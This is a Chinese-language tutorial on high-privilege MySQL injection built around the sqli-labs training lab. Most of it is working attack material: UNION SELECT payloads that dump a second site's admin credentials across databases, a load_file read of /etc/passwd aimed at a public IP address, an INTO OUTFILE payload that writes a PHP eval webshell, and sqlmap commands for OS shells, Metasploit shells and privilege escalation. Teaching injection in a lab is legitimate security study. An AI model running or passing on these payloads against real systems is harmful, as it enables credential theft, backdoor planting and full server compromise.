WEB漏洞攻防 - SQL注入 - 高权限注入
高权限注入
在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。
举个例子,网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。
系统用户 : 所有数据库可看,文件读写正常。
普通用户 : 单个数据库可看,文件读写失败。
跨库查询:高权限注入的危害之一
A网站采用同一数据库系统用户 root 链接。
B网站采用同一数据库系统用户 root 链接。
C网站采用同一数据库系统用户 root 链接。
如果某个网站出现注入,所有网站数据均泄露。
A网站采用同一数据库普通用户链接。
B网站采用同一数据库普通用户链接。
C网站采用同一数据库普通用户链接。
如果某个网站出现注入,其他网站不受影响。
高权限的可操作范围:
注册表操作
所有数据库可查
命令执行操作
文件读写操作
附:不同数据库可操作性不一样[高权限具体能操作的事情要看数据类型,根据数据库自身的特性来决定的]
MYSQL跨库-手工演示对比工具说明
场景说明:A存在高权限注入导致同一数据库其他WEB应用数据泄露
WEB应用A-http://127.0.0.1:8081/sqlilabs/
WEB应用B-http://127.0.0.1:8081/maccms8/
- 按正常情况来看,两个网站是互不相干的;但是两个网站的数据库是放在同一个MYSQL下面。
- 场景分析
数据库[MYSQL]
数据库A = SQLILABS
数据库B = 苹果CMS
实现SQLILABS靶场的注入点获取到苹果CMS网站的数据
- 在注入点查看当前用户权限 [为 root 权限,满足跨库的条件] - [msssql的高权限用户为 sa\sysadmin]
payload -1 union select 1,user(),3--+
- 先获取数据库名[这里的数据库名指的并不是"database()"当前数据库名),然后获取对应数据库名下的表名或列名信息]
payload -1 union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata--+
- 获取 “maccms” 数据库下的所有表名信息
payload -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='maccms'--+
- 获取 “mac_manager” 表下的列名信息
payload -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='mac_manager' and table_schema='maccms'--+
- 获取 “m_name、m_password” 信息
payload -1 union select 1,m_name,m_password from maccms.mac_manager--+
- 这里需要注意的是,当金星跨库查询的时候,需要带上要查询的数据库的名字[因为默认查询的是当前数据库,所以需要指定跨库的库名]
MYSQL读写[高权限]
场景说明:WEB应用存在高权限注入点导致文件直接读写(后门植入)
- 读取 "/etc/passwd"信息
http://139.196.87.102:11207/Less-2/?id=-1%20union%20select%201,load_file(%27/etc/passwd%27),3--+
- 写入一句话后门[这里读取文件我是读取的服务器上的文件,写入一句话是写入在电脑本地的靶场]
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,<?php eval($_POST[x])>,3 into outfile 'D:/phpstudy/PHPTutorial/WWW/shell.php'--+
重点:WEB应用路径获取:说明文件[phpinfo.php 搜索 “script_filename”],报错显示,特定源码爆出,配合读取中间件配置,爆破等。
SQLMAP高权限注入常用命令
SQLMAP
--current-user 当前用户
--is-dba 是否为管理员
--file-read 从服务器读入
--file-write 从本地写入
--file-dest 写入目标路径
--sql-shell 执行sql命令终端
--os-shell 执行shell终端
--os-cmd=ver 自定义命令
--os-cmd=OSCMD//执行操作系统命令
--os-shell //反弹一个osshell
--os-pwn //pwn,反弹msf下的shell或者vnc
--os-smbrelay //反弹msf下的shell或者vnc
--os-bof //存储过程缓存溢出
--priv-esc //数据库提权
–reg-read –reg-add –reg-del –reg-key //读取注册表
--reg-value --reg-data --reg-type
python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --file-read "d:/test.txt"
python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --file-write "f:/host.txt" --file-dest "D:/phpstudy/PHPTutorial/WWW/sqlilabs/1.txt"
python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --sql-shell
select * from mysql.user
python sqlmap.py -u "http://127.0.0.1:8081/sqlilabs/Less-2/?id=1" --os-shell
相关文章
- OpenSSH 命令注入漏洞(CVE-2020-15778)
- 利用SQL注入漏洞实现MySQL数据库读写文件
- CNVD-2022-42853:禅道V16.5SQL注入漏洞
- JNDI 注入漏洞的前世今生
- 远程代码执行Simmeth 系统 SQL 注入漏洞 (CVE-2022-44015)
- PortSwigger之不安全的反序列化+服务器端模板注入漏洞笔记
- SQL开发知识:sql注入过程详解
- 注入利用SQLMap破解MySQL注入漏洞(sqlmapmysql)
- 防止WPF应用程序MySQL注入漏洞的预防措施(wpfmysql防注入)
- Python与Java曝漏洞,黑客利用FTP注入攻击可绕过防火墙
- “优雅”的Linux漏洞:用罕见方式绕过ASLR和DEP保护机制
- SQLiScanner:又一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具
- 漏洞预警:Zabbix高危SQL注入漏洞,可获取系统权限
- 如何防范SQL注入攻击:MySQL的几种安全策略(sql注入mysql)
- 黑盒审计之注入漏洞挖掘思路【转】
- SQL注入攻击对MSSQL的威胁及防护策略(sql注入 mssql)
- 如何预防MySQL注入漏洞?(mysql注入漏洞)
- MSSQL漏洞修复:安全性出现突飞猛进(mssql漏洞修复)
- mssql注入漏洞利用:黑客获取Shell权限(mssql注入shell)
- mssql注入漏洞利用dbo权限攻击(mssql注入dbo权限)
- 致命的漏洞MySQL万能注入语句一触即发(mysql万能注入语句)
- phpis_numberic函数造成的SQL注入漏洞